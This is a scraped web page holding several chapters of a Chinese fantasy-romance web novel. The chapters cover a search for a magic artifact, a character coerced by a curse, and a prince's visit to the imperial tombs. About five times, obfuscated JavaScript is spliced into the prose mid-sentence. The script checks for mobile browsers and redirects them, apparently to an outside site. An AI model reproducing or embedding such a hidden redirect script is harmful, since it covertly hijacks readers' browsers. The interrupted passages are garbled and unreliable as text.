第三日傍晚,慕徐二人与朱雀白虎终于又回到了京城永嘉侯府。 这次回府,几人皆神采奕奕,像是落定了一件大事,整个人轻松不已。 “大哥大嫂,朱雀白虎,你们这么快就回来啦!”首先向他们迎出来的自然是慕怀灵了。 慕怀瑾垂眸斜睨向她,不置可否,“怎么,嫌我们回来太早?那我再带你大嫂去甘州玩一圈?” 慕怀瑾说着,搂住徐莞的肩作势便要转身。 慕怀灵忙不迭转到他们面前拦着说:“哎我不是那个意思!大哥大嫂,见到你们平安回府我特别高兴!” “是吗?我怎么觉得你见到我们回府,有些心虚呢?”慕怀瑾微微眯起眼,目光如炬扫视着她,“难道…你这几日又去找冷锋了?” “啊?我……”慕怀灵蓦地被戳中心事,一时间愣在那里,尴尬害羞地说不出话来。 慕怀瑾看她的表情就明白自己猜对了,忽然沉下脸厉声道:“大哥跟你说过多少次,你一个未出阁的姑娘,别总是往府外跑。况且你还是去找男子的,若是让外人看到,会如何说你你想过吗?” “我…我…” 眼看着慕怀灵就要委屈地哭出来,徐莞忙搂过她的肩膀,向慕怀瑾劝道: “好了怀瑾,怀灵只是偶尔去找一下冷锋,他们也并未做什么出格之事。怀灵她自有分寸,你就别责怪她了。是不是啊怀灵?” 慕怀灵吸吸鼻子,睁着微红的双眼斜瞪着慕怀瑾,气恼又委屈道: “本来我想告诉你,冷锋受鄞玄哥哥之命去了沧源镇。如今你这样说我,我便什么都不对你说了!” 话毕,慕怀灵便气鼓鼓地转身抹着眼泪跑走。 第376章 376.爱妻怎么补偿我? 望见慕怀灵哭泣着跑走,徐莞即刻让朱雀白虎去追,“朱雀白虎你们跟过去看看。” 二人点头追过去后,徐莞望向慕怀瑾,见后者的目光亦追随着慕怀灵离去的方向,心中似乎也有些不是滋味。 徐莞行至他身侧,抚上他的手臂安抚道:“别担心,有朱雀白虎在,他们很快会将怀灵哄好的。” “嗯。”慕怀瑾侧头向她轻应一声,而后自我怀疑地问,“我是不是对怀灵太严厉了?” 徐莞挽住他的手臂,带着他向松风苑走去,一面和煦地说:“我觉得不会。爱之深,责之切嘛。更何况长兄如父,你的苦心她总有一日会明白的。” 慕怀瑾听罢,欣慰地抚上她挽在自己臂弯的手,侧头轻舒一口气,心中陡然松了不少,唇角牵出一抹幸福甜蜜的弧度。 “还是你懂我。” 徐莞侧头与他相视一笑,便相携回到了自己的院落。 用过晚膳,沐浴净身后,二人回到寝屋。 寝屋内早已点起苏合香,馥郁的香气在屋内隐隐浮动。 徐莞倚在窗边的软榻上,借着烛灯翻看着一本发黄的手札。 她螓首微垂,长而浓密的睫毛堪堪垂下,在她的眼下投下一片浅浅的阴影。 她认真研读的神情,显得如此美丽动人,令床榻上侧躺着的慕怀瑾,喉头一阵发干。 奇怪,今日上午明明才下过雨,天气也并不热,他的心底为何会如此燥热? “菀菀,已经很晚了,还不睡吗?” 慕怀瑾侧躺在床榻上,寝袍的衣领松松耷拉下来,露出一片白皙结实的胸膛。 墨色长发披散着,随性地散落在他的胸膛之上。他一手撑着脑袋,眼里透着诱惑,以及一丝丝期待。 谁料徐莞居然眼睛都不抬,依旧聚精会神地翻着手札,敷衍道:“你先睡,让我将这手札看完。” 慕怀瑾:“……”如此男色当前,她居然一点都不为所动,她到底是太幼稚还是太成熟? 慕怀瑾越想越不忿,遂起身脚步带风,向徐莞走去。 行至软榻旁,慕怀瑾坐下后将她连人带手札整个捞进怀里,“在看什么如此聚精会神?” 慕怀瑾问着,双臂将她环在怀中,低下头将自己的脸贴在她的面颊上,与她一同向那手札看去。 徐莞忽然感觉身子被人一拉,便靠进一个火热的怀抱。 她不由得侧头望去,但见慕怀瑾俊逸沉着的脸与她近在咫尺,她稍稍一侧头,嘴唇便从他的面颊上划过。 她有些羞赧地动了动,仰着脑袋与他拉开些距离。 但她尚未察觉的是,此时慕怀瑾的面上,却带着醋意与一抹难以察觉微恼。 徐莞转过脸,继续将目光粘在手札上,认真地解释: “这是师父留给我的遗物,据说是紫霄观祖师爷留下的手札。我看看里面有无有关灵屿山跟玉拂尘的记载。” “灵屿山?玉拂尘?就是你先前框卫颐时所说的可号令紫霄观的宝贝?” “对。”说罢,她将手札翻至下一页,突然发出一声欣喜的叫喊,“有了!” 慕怀瑾闻声随她一同望去,但见这手札的这一页上似画着一张简易的地图。 上方是寥寥几笔勾勒出的连绵起伏的山峦,上书“凌霄山”。 下方是几道波浪线,带指的应是江河湖海,其中写着“桑海”。 中部则画着一座岛屿,上标“灵屿山”三个字。 “找到了!灵屿山就在凌霄山下的桑海中!”徐莞兴奋地说,而后侧头向慕怀瑾问:“你知道凌霄山和桑海在哪里吗?” 慕怀瑾望着那小小的地图,略有疑惑道:“凌霄山位于盛国最北面,是盛国与无楞国的分界线。桑海其实不是海,而是一片极其大的湖泊,有方圆一百里之大。 但我在北疆待了十年,数次跟随我爹带兵在凌霄山下与无楞国交战,每次都会坐船经过桑海。但桑海中皆是一片大雾弥漫的湖面,从未见过有什么岛屿或灵屿山。” 徐莞傲娇说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975976|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那是你们未找到关窍。灵屿山四周定是设下了阵法或结界,不懂道法的人是进不去的。” 慕怀瑾:“……”好吧,又被小媳妇鄙视了。 “如此说来,菀菀你真要去灵屿山寻玉拂尘?”慕怀瑾顿了顿问。 “没错!玉拂尘除了能够号令紫霄观外,更是一件法力强大的法器。 卫颐对其的态度你之前也看到了。若是我们不拿,卫颐也会想办法去寻。若是让卫颐寻到,我们就会处于被动之势。 如此,还不如我们先下手为强,趁其还没动手之时,抢先去灵屿山寻宝。” 慕怀瑾缓缓点头,“言之有理。但你不是说,你并没有寻找玉拂尘的地图。就算我们找到灵屿山,也不一定能找到玉拂尘。” “我确实没有地图,”徐莞再次望向手中的手札,双眸微微泛光,“但我有这本手札。说不定里面就有找到玉拂尘的线索。 到时候将朱雀白虎带上,你也陪我一起去,好不好?” 徐莞说着,抬头期待地望向慕怀瑾,美眸里好似有星星一闪一闪亮晶晶。 被徐莞这样的眼神望着,慕怀瑾哪敢说不好? 但他心中还鼓着方才那股气,挑起徐莞的下巴,垂眸望着她劲劲儿地说:“叫我一声夫君我再答应你。” 徐莞向来奉行好女不吃眼前亏,更何况慕怀瑾本就是她夫君,叫一声夫君就能让身负紫气的慕怀瑾与她同去,有何不可? 于是,徐莞抱住他的手臂,一边摇晃着,一边用自己都觉得肉麻的嗓音唤道:“夫君~你就陪菀菀同去吧,好不好?” 慕怀瑾闻声顿时感觉浑身一阵酥麻,再配上她那一脸无辜又期待的表情,慕怀瑾恨不得此刻就将她按进怀里狠狠疼爱。 慕怀瑾握住她细嫩的手指,在其指间重吻一口,“好吧,既然爱妻开口,就算赴汤蹈火,为夫也在所不辞。 不过……为夫将将陪你解决完嘉礼县一事,你又要让我陪你找玉拂尘。爱妻你是不是该补偿补偿我?” 第377章 377.京城流行女子追男子? “不过……为夫将将陪你解决完嘉礼县一事,如今又要让我陪你找玉拂尘。爱妻你是不是该补偿补偿我?” 徐菀不禁一怔,“你要如何补偿?” 慕怀瑾缓缓向她压了下来,“至少,让我亲一下吧...” 话毕,已低头封住了她的唇。 徐菀蓦地微微一惊,随即呼吸一滞,靠在他怀里奋力举拳向他胸口捶去,嗫嚅道:“怀...怀瑾...等等...” 慕怀瑾微微撤开些身子,手臂却依然圈着她的腰,垂眸望着她红润的唇珠,请.裕在他的眼底微晃。 “我已等了半个多月,还让我等?” “那...也别在这里...” 慕怀瑾要的就是她这句话,立即弯唇一笑,俯身将她从软榻上横抱而起,一面低头吻着她,一面向床榻而去。 “走吧,为夫带你去里面好好休息…” 那本手札从徐菀手中啪嗒一声掉在地上,都未能引起两人的注意。 遮挡在内间前的纱帘落下,二人模糊不清的身影映在纱帘之上,如两支优雅挺拔的睡莲,相互交缠,在静静夜色中绽放。 徐菀郁闷地想,如今大事还未成,自己怎能沉湎于风花雪月? 可每次她都抵挡不了慕怀瑾的邀请,迷迷糊糊就把自己送出去了。 不过磨刀不误砍柴工,与他同修着实可极快提高灵力,这也算是意料之中的收获了。 === 翌日辰时,趁着慕怀瑾与徐莞还未起身,慕怀灵便拉着朱雀白虎出了永嘉侯府。 “哼,大哥不让我去找冷锋,我偏要去!” 慕怀灵去马房牵了一匹马,便要驾马而出,“朱雀白虎,你们陪我一块去,别告诉我大哥!” 朱雀连忙奔到马儿身边拦住她,“怀灵小姐,你要去沧源镇找冷将军吗?那里骑马过去需半天呢。” 没成想慕怀灵狡黠一笑,翻身上马,“他们已经回来了,这会儿就在定北王府。” “他们回来了?”朱雀蓦地一喜,“流星也回来了吗?” 慕怀灵没有再说话,而是一拉缰绳,双腿一夹马肚子,马儿便带着她从后门奔了出去。 朱雀也迅速牵了一匹马跟了上去。 上回与流星相见,已经是将近一个月之前的事了。 他的音容笑貌,每日都会反反复复在她脑海中浮现。 想要见到流星,是她此刻最大的心愿。 闹到最后最无语的是白虎。 这两个姐姐啊,怎么比他这个弟弟还任性,动不动就追男人了去了。 难道京城都流行女子追男子? 思及此,婉琳郡主那热情似火的脸霎时出现在白虎的脑海。 老天爷啊,快让这些姑娘们冷静冷静吧,公子们都要被她们吓跑了! 一行三人分别骑马先后来到定北王府,经门房通传后,三人便进了府中。 首先出来迎她们的,便是冷锋。 “灵儿,你们怎么来了?”冷锋见她们一大早便风风火火赶来王府说要见他,还以为出了什么事,因而以最快的速度赶出来,焦急地望着她们。 慕怀灵一见到冷锋,便一头扑进他的怀抱,“冷哥哥!” 冷锋抱住她紧张地问:“怎么了灵儿?发生了何事?” 在抱住他的那一刻,感觉到他那温暖结实的胸膛,慕怀灵飘荡不安的心才终于安定下来。 “没什么,好久不见,想你罢了。”慕怀灵埋首在冷锋怀中,闭着眼满足地说。 听她如此说,又见她那惬意的神情,确实不像有什么大事,冷锋随即放下心来,缓缓收紧手臂环抱住她,心中亦是无比的欣然与喜悦。 就在这时,又一个高大矫健的身影奔入正厅,“出了什么事?朱雀也来了吗?” 出现在正厅的正是她心心念念的流星。 流星一望见立在不远处那位清冷纯净如丁香花般的姑娘,便抑制不住激动向她奔了过去,一把将她揽入怀中,心底的思念与爱恋似藤蔓疯长。 朱雀亦迎着他,乖顺地靠在他的怀里,侧脸贴着他的胸口,甚至能听见他激烈的心跳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997764|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >本以为自己对他仅是有一些些思念,但没成想,时隔一月再次见到他时,竟会比自己想象得更为激动欣喜,甚至让她不由得红了眼眶。 立在正厅中央的白虎,被夹在两对人儿中间,左看看,右看看,欲哭无泪。 他为何要跟过来!纯纯的自取其辱啊呜呜呜… 少倾,流星缓缓松开朱雀,低头望见她微红的双眼,忍不住调侃道:“怎么,半个多月不见我。今日再见我都激动得哭了?” “才没有!你别乱说!”朱雀逞强地推开他,用手背抹了两下眼睛,抬头向他质问道:“你跟冷将军一同去了沧源镇也不告诉我!让我担心**!” 这时,冷锋也放开了慕怀灵,转过身向朱雀等人解释道:“王爷安排我与流星去沧源镇,是至高机密,因而起初我与流星并未告诉你们。” 说着,冷锋望向身旁的慕怀灵,“但后来我架不住怀灵反复询问,怕她做傻事,只好告诉了她。” “你们在沧源镇做什么?”朱雀向流星问。 流星轻叹一声抱歉道:“对不起朱雀,正如锋哥所说,此乃至高机密,我不能告诉你们。这对你们来说,也是种保护。” 话毕,正厅内静了片刻,慕怀灵才略感无趣地说:“行吧,你们不说就不说。只要看到你们平安回京便好。” 冷锋看出了她的不开心,捏了捏她的肩膀道:“你们别着急。时机成熟时你们自会知晓。” 流星亦笑嘻嘻地说:“就是,你们别着急。到时定会给你们一个惊喜。” 闻此朱雀与慕怀灵的心情才转好一些,慕怀灵转开了话题问:“鄞玄哥哥呢?一大早的怎么不见他?” “王爷清晨起身用过早膳后,便去皇陵祭拜先帝了。”冷锋答道:“差不多要到午时才会回府。” 慕怀灵一听,立时来了兴致,“鄞玄哥哥不在,你们是不是可以出府逛逛了?冷哥哥,你陪我出去逛逛吧~” 冷锋与流星相视一眼,皆看到对方眼中的无奈与幸福。 “好吧,等我们去换件衣裳就陪你们出门。” 第378章 378.流星的隐忍 一盏茶的功夫后,冷锋流星更衣准备完毕,便陪同慕怀灵朱雀白虎一同出了定北王府。 此刻已是巳时,京城中央的兴华街上热闹非凡。五人一面聊一面逛,两位姑娘的心情这才慢慢转好。 正当冷锋陪着慕怀灵在一家脂粉铺子前挑选时,一队维护京城治安的城役自他们身边列队而过。 慕怀灵不由得侧头跟着他们望去,见那队城役里,已经没了宁玉轩的身影。 “那个姓宁的骗子不在五城兵马司了吗?”慕怀灵问。 冷锋点头道:“嗯。听闻宁玉轩年后便向五城兵马司辞去官职回乡了。” “看来他还有点自知之明。”流星走上前来,带着鄙视劲劲儿地说:“换作是我,装作侯府千金的心上人被正主发现,绝对抱着铺盖连夜逃走。” 冷锋见提到宁玉轩,慕怀灵面上有些不快,便搂搂她的肩略略开玩笑道:“好了别想着那个人了,否则我要生气了。” “我哪有想着他啊。”慕怀灵哭笑不得。 自己净想着冷锋了,哪有时间想那个骗子?只是今日忽然看到城役才想起他而已。 冷锋见她终于笑了,这才放下心来。 “好了,我们继续逛吧。让朱雀白虎也给我们讲讲,你们去嘉礼县超度亡魂都有何有意思的事。” 随后,五人继续逛了起来,朱雀白虎也向他们将嘉礼县与何钦一事,从头到尾讲述一遍,连在赤炎山发现火髓一事,都告诉了他们。 “冰髓与火髓真的如此神奇?朱雀,你说这世上真有麒麟吗?” 午时,几人找了间食肆,坐在包厢里吃饭品茶。 慕怀灵听到如此多好玩的事,不由得十分好奇。 “师父说火麒麟以火髓为食,所以应该有麒麟的吧。”朱雀吃着小菜,抬起头笑着说。 慕怀灵立即面露惊叹之色,“哇太神奇了。这世上竟有如此多不可思议的事。难道神话故事里记载的也都是真的?真想亲眼见见那些神仙和神兽啊。” 话毕顿了顿,又兴致勃勃地向朱雀白虎问:“哎我记得前一阵听闻,我大哥大嫂可能要去哪座仙山,寻什么宝贝。到时候我们一起跟着去,好不好?” “怀灵姐姐是说去灵屿山找玉拂尘吗?”白虎正抱着烧鸡在啃,听到她的话立即抬眼问。 “对对对!就是玉拂尘!”慕怀灵手里举着一只鸭腿激动地说:“这是那日我躲在松风苑外偷听到的。他们还说那个宝物钦天监的卫大人也想要。” “卫大人?”听提到卫颐,流星握着酒杯的手忽然顿了顿,抬眸望向慕怀灵。 “对,他们说的就是卫大人。”慕怀灵没有留意到流星情绪上的变化,继续将自己知道的统统说了出来: “听他们的意思,好像那位卫大人不是什么好人。所以他们要抢先一步寻到玉拂尘。” 坐在流星对面的冷锋,则察觉到了流星的不对,“流星,卫大人怎么了?你知道些什么吗?” 流星即刻反应过来,漫不经心地笑笑道:“我只是好奇这关钦天监什么事。原来那卫大人不是什么好人啊。” 也在埋头吃菜的朱雀开口道:“对,我忽然想起师父说过,之前将王爷吸入镜中世界的那面铜镜,就是卫大人搞的鬼。” 冷锋闻言一惊,他这时才知那幕后黑手竟是卫颐,“原来如此。” 慕怀灵见他们将话题引到了卫颐身上,连忙出声又拉了回来,“喂,现下我说的是让大哥大嫂带我去灵屿山的事儿。朱雀白虎,你们说有什么法子能让她们带我去呀?” 白虎刚啃完一只烧鸡,放下骨头坏坏地戳破她梦想的泡泡。 “怀灵姐姐你就别想了。师父跟侯爷连嘉礼县都不让你去,怎么可能带你去灵屿山?” “是啊怀灵小姐。”朱雀也劝道:“灵屿山可比嘉礼县危险多了。谁都不知那山上有什么,如何能拿到玉拂尘。所以我觉得师父和侯爷不会让你去的。” 慕怀灵听后立马泄了气,颓然靠向椅背上,赌气地嘟起嘴,喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005146|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃道:“哼,什么都不让我做,哪里都不让我去。这日子过的有什么意思!” 冷锋见此,拍拍她的背安慰道:“灵儿,那仙山确实危难众多。就算是我,也不会允许你去。 你再等等我,待完成了王爷吩咐我们的事,我便带你游遍我国的名山大川。到时候你想去哪里,我都陪你去。” 慕怀灵听罢此话,面上才露出一丝笑意,侧身投入冷锋的怀抱,“还是冷哥哥最好啦~” 其他三人见他们那腻歪的样,都不禁侧头掩唇偷笑。 流星见他们揭过了这个话题,不禁暗暗松了口气。 但又不由得想起前阵卫颐对他吩咐的话。 “你去向朱雀那姑娘打探打探,徐莞与慕怀瑾何时去灵屿山找玉拂尘。 若是他们去了,你一定要想办法跟他们同去。待他们找到玉拂尘后,你便伺机将其夺过来交给我。” 跪在卫颐身前的流星,蓦然抬起头,“可是大人…我若是强行抢夺,不就会暴露了我的身份?” 卫颐依然**在团蒲上,线条优美的下巴微扬,一副全然尽在掌握之态。 “无碍。只要能得到玉拂尘,我便可号令紫霄观,管他什么徐莞还是慕怀瑾,都无法阻挡我的大业。你就算暴露身份也无所谓。” 话毕,卫颐起身,从袖中取出一看似普通的布袋递给流星,道:“此物乃传物锦囊,两只为一组。 这只你带在身上,另一只在我这里。你记住,拿到玉拂尘后,即刻将其装入你的囊袋之中,玉拂尘便可瞬间出现在我这只囊袋里。” 正回忆至此,耳边却忽然传来朱雀的呼唤声:“流星?流星你在想什么?” 流星即刻回过神来,“啊什么?没什么,吃饱了就犯食困罢了。” 说罢,流星朝朱雀嘿嘿一笑,眼里还是他从前那种促狭之色。 望见这样的眼神,朱雀将方才心中的疑虑渐渐放了下来。 一定是她多想了,流星怎会不对劲呢? 第379章 379.同心咒 一定是自己多想了,流星怎会不对劲呢? 定是他近来忙于公务过于疲累,因此才会恍惚分神。 思及此,望着流星眼睑下浮现出的那片青黑,朱雀不由得溢出一丝心疼。 “你和冷将军将将回京,还是好好休息几天吧。” 望见朱雀眼中的心疼,流星的心也不由得软了下来,唇边荡出一抹愈加温柔的笑。 “好,你也是。” 二人坐在窗边凝望着彼此,眼中都是对对方的珍惜与爱恋。 可流星突然想到,卫颐让自己跟朱雀他们同去寻玉拂尘。 当他从他们手中抢过玉拂尘时,还有当他们知道他的**时,朱雀会如何看他,又会如何对他? 可若是不按照卫颐的话去做…… 流星的思绪又回到了自己与卫颐见面那日。 当他从卫颐手中接过那只传物锦囊,立时便感觉掌心一痛。 他丢下锦囊,张开手掌低头望去,但见自己右手掌心居然出现了一根黑线,且整个右手都如同被烈火炙烤一般痛。 “大…大人…这是何物?”流星用左手死死掐着右手腕,跪在地上疼得直不起身,片刻便渗出一身冷汗。 “这是我独门秘制的同心咒。方才我在那锦囊上下了咒。你中咒之后,若是不按照我的命令做,那种灼烧感便会蔓延至你的全身,让你在烈火焚身下痛苦而死。 并且在你死后,你心中在意的人,也会与你同样承受灼痛而死。她死后再传给她在意的人。 就这样,同心之人一一传下去,直至自己至亲至爱之人皆死尽为止,此即为同心咒。” 流星听罢猛然抬起头,狠狠瞪向卫颐。眼中除了痛苦畏惧,更多了一丝憎恨。 “大人…我会谨遵您的命令…保证为您夺得玉拂尘。但是…可否求您将同心咒为我解了。我死可以,但我不想连累其他人……” 卫颐居高临下垂眸望着他,眼中闪着讥讽又残忍的笑意,“待拿到玉拂尘,我自然会帮你解咒。” 说着,卫颐向他一挥长袖,流星倏然感觉一阵风拂过,右手上的灼热减轻了不少。不消片刻,灼痛感便消失无踪。 “这…”流星惊喜地望着自己的右手。难道他已帮我将咒解除了? “别高兴的太早。”卫颐矜贵的语声再次从上方传来,“我只是暂时将你体内的咒压了下去。只要那根黑线还在,我未亲自为你解咒,同心咒就会一直跟随着你。” 流星的心一沉,再次堕入那深不见底的恐惧深渊。 卫颐嘴上说拿到玉拂尘后就会为他解咒,可到那时他是否会履行承诺,还是未知数。 如今卫颐已对他的衷心有了怀疑,定不会如此轻易地放过他。 只要这同心咒在他身上一日,卫颐便可操纵他一日。 如此好事卫颐怎可能帮他解咒? 从前的流星无父无母、无牵无挂,可如今他有了朱雀,就有了软肋。 同心咒将他痛死无所谓,但若是真传给了朱雀…… 仅仅是想到自己会连累朱雀,与他的好兄弟冷锋鄞玄,流星便极其恐惧不安。 难道只有他自我了断这一个法子了吗? 谁料,卫颐像是看穿他心思一般,再次幽幽道:“你也别想着自我了断或是找徐莞帮你解咒。 我下的咒,只有我一人可解。就算你自尽,也依然摆脱不掉同心咒。你只能求我帮你解咒,或是……” “或是什么?” 卫颐侧过脸来残忍地笑了,“或是…让你的同心之人,亲手杀了你?” 流星:“!!!” 流星低着头,双肩微微颤动,良久,仿若下定决心一般,一字一句道:“属下定不负大人厚望,粉身碎骨也会帮您取到玉拂尘!” 回想到此处,流星再次将心神收回到眼前的朱雀身上。 对不起朱雀,请不要怪我。我会尽快想办法逃离卫颐的控制。 === 京城南面二十里处的业陵,正是盛国历代帝王与后妃们的陵墓所在。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013456|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 六月的清晨,阳光明媚而不燥热。 陵园内遍植松柏,树木高大挺拔,四季常青。间或栽种着一些槐树与冬青。槐树硕大的树冠,几乎遮蔽陵道上方的天空,为整座陵园洒下数片荫蔽。 定北王鄞玄今日卯时便没了睡意,所幸起身更衣洗漱,用过早膳后,便乘马车向业陵而去。 此时,鄞玄行走在业陵悠长笔直的陵道上,感受着自耳面旁拂过的清风,听着被清风吹动的枝叶发出的沙沙声,望着上方树冠间投下的斑驳摇曳光影,鄞玄纷繁复杂的心绪渐渐平复下来。 果然选择来看望父皇与母妃,是正确的选择。 鄞玄率先来到前朝后妃的墓园。 看守墓园的老宦官得知他的身份后,即刻亲自带着鄞玄来到良妃的陵墓前。 望着眼前石碑上雕刻的良太妃的封号,鄞玄脑海中不由得再次浮现出幼时母妃的音容笑貌。 鄞玄十余岁便被送出了京城,随老永嘉侯前往北疆历练。其实与自己生母良妃在一起的时日并不多。 因而二十多年来,母妃的面容在他的记忆中已日渐模糊。但此刻,立在母妃的墓碑之前,他好似又望见了那个温柔隐忍的女子,抬手轻轻抚着他的发顶,咳嗽着,虚弱地向他嘱咐道: “玄儿,此去北疆路途遥远艰险。你定要紧紧跟随在慕侯爷身边,听侯爷的话,好好历练。若是将来能在疆场上立下战功一二,也不枉你父皇对你的敦敦期望。” “母妃放心,儿臣定当带着战功回京,让父皇对我们母子刮目相看,为您晋封!” 良妃苍白着脸笑了笑,“你有这份心就好。只是母妃怕是等不到你带着战功,凯旋而归的那一日了。” “母妃!母妃您一定要坚持下去,照看好自己的身子,等儿臣回来尽孝!” 良妃却未在说话,只是用一种悲悯的眼神笑望着他。并且这抹笑渐渐模糊,直至彻底化散在他的记忆之中。 至此,鄞玄的视线再次定格在了眼前的良太妃墓碑上。 第380章 380.孝任皇后 诚如良妃所言,鄞玄离京后不到三年,良妃便因病去世。而鄞玄当时正跟随老永嘉侯,参加与无楞国的战役,没来得及回京。 就这样,他连母妃最后一面都未见到,也未有机会送她最后一程。 时过境迁,将近二十年后,鄞玄终于回到京城,能看望的,却只有母妃的陵墓。 随后,鄞玄为良妃清扫擦拭了墓碑,在墓碑前摆上新鲜的鲜花与水果。 再点起一炷香,烧了些纸钱,将自己这些年在北疆的日子,和近期在京城的日子,捡了些有趣之事讲给良妃。 末了,他在良妃墓前长长磕了三个头,便起身离去。 从后妃墓园出来,鄞玄又去往先帝先皇后的墓园。 这次,前来迎接他的,是一位年老的嬷嬷。 在得知鄞玄是定北王,亦是良太妃的儿子后,老嬷嬷向他恭敬地行了一礼。 “老奴参见王爷。” 鄞玄立在先帝陵墓前的前厅里,向老嬷嬷道:“不必多礼。本王是来祭拜先帝与先皇后的。” “好,王爷请随老奴这边走。” 老嬷嬷引着鄞玄穿过前厅来到后方的墓园。 但见前方伫立着一座巨大的陵墓。陵墓的入口被巨石封着,前来祭拜之人,只得在陵墓前的祭奠处焚香磕头。 鄞玄先是接过老嬷嬷递来的香点燃,插入祭台上的香炉中,随后又慢慢在火盆里烧着黄纸与金箔纸元宝。 望着金箔纸在火焰中卷曲焦黑,直至化为灰烬,鄞玄的思绪又不禁回到幼时在皇宫中的日子。 先帝的皇子众多,而他又是不甚受宠的良妃所生,因而自小便未受到先帝多少关注,见过先帝的次数都屈指可数。 在他的印象中,先帝似乎很是宠爱如今还在世的这位当朝太后,在景逸年仅五岁时,就将他立为太子。 而与先帝一同葬在此地的孝任皇后,则是当朝太后的亲姐姐。 在孝任皇后难产去世后不到两年,本为淑妃的当朝太后,便怀上了景逸,一举坐上了皇后之位。 自那之后,后宫中便很少有人再提起孝任皇后。 只有鄞玄的母妃良妃,不时向他叨念着孝任皇后的贤德宽厚,以及对良妃的关照。 思及此,鄞玄将目光投向摆着孝任皇后牌位的祭坛。 见祭坛上仅摆着寥寥几盘瓜果,看样子已不新鲜。烧了一半的香烛还插在那里,落了许多灰,必是有些时日没换了。 鄞玄微微蹙眉,语气有些责备道:“孝任皇后祭坛上的瓜果香烛几日一换?为何都不新鲜了还摆在那里?” 老嬷嬷吓得扑通一声跪了下去,“王爷饶命!老奴老奴只是依命办事…” “依谁的命?依的是什么命?” 老嬷嬷跪在地上颤颤巍巍道:“是…太后有令,为节省皇室开支,除节庆及大型祭祀外,平日里每月仅拨十两银子,为先帝与孝任皇后采购祭祀的瓜果香烛。” 鄞玄不由得一诧,“什么?一个月才十两?这怎么够?” “回王爷,十两何止不够,实乃差的远啊。因此,老奴只好省着些用。瓜果三五日换一次。 香每日上一柱。蜡烛则仅在上香时点。一般一对蜡烛两个月才用完。因而这对蜡烛已有一个多月未换了。” 鄞玄听后一时未语,心中暗想,孝任皇后不是当今太后的亲姐姐吗?为何太后连祭祀的瓜果香烛都要克扣? 每月仅拨十两,一看便是故意的。 “这样,今后每月从本王私库中再拨四十两,为父皇、孝任皇后与良太妃采买祭祀之物。若是还不够,待本王下回来时,你再向我说。” 老嬷嬷一听,即时磕头道谢:“多谢王爷!老奴定伺候好先皇,孝任皇后和良太妃的陵寝。请王爷放心!” 鄞玄淡淡“嗯”了一声,正准备转身离去,跪在地上的老嬷嬷却忽然抬起头又问了一句: “王爷,恕老奴斗胆询问,是太后命您过来的吗?太后可否有言,何时让老奴出去?老奴将至知天命的年纪,什么都不想,只想平平稳稳地回乡安度晚年。” 听闻此话,鄞玄动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022666|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作一顿,觉得此话问得奇怪。 “你想回乡,向陵司申请便好,为何还要得太后允许?你原来是太后宫里的人?” 听到鄞玄这么问,老嬷嬷有些慌了,“老奴不是……” “你以前是哪个宫里的?” 老嬷嬷理了理思绪道:“老奴是……孝任皇后宫里的。孝任皇后崩后,当今太后念老奴先前照顾孝任皇后妥帖,便命老奴继续在皇陵侍奉孝任皇后。 但老奴已在此守了三十年,身子骨实在是守不住了啊。因此斗胆求王爷帮老奴问上一问。” 鄞玄闻言思忖片刻,还是觉得这老嬷嬷话里话外很是蹊跷,但他一时间又理不出哪里蹊跷。 于是向她沉声问:“你叫什么名字?” “回王爷,老奴姓方,名嬅。老奴……” 方嬷嬷的话还未说完,一道低沉带着戾气的男声,突然在不远处响起。 